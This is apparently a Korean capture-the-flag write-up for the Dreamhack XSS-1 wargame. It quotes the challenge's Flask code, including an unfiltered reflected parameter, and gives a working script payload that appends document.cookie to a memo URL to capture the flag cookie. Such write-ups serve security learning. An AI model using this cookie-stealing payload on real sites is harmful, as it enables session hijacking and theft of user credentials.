[Dreamhack] XSS-1

[Dreamhack] Wargame - XSS-1

/flag 코드를 봤을 때 flag

/vuln(xss)page

/vuln페이지 param에 스크립트문이 실행되는데 vlun함수에는 필터링이 없어서 xss가 가능한 것을 확인할 수 있다.

/memo

이곳은 memo에 값을 html로 보여준다.

/flag

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

/flag를 보면 param파라미터값, 쿠키에 flag를 포함해서 check_xss를 호출하고 check_xss에서는 read_url함수를 호출한다.

따라서 /flag페이지에 <script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>값을 넣어주면

이 알림이 뜨고 memo에 가보면

flag를 획득할 수 있다!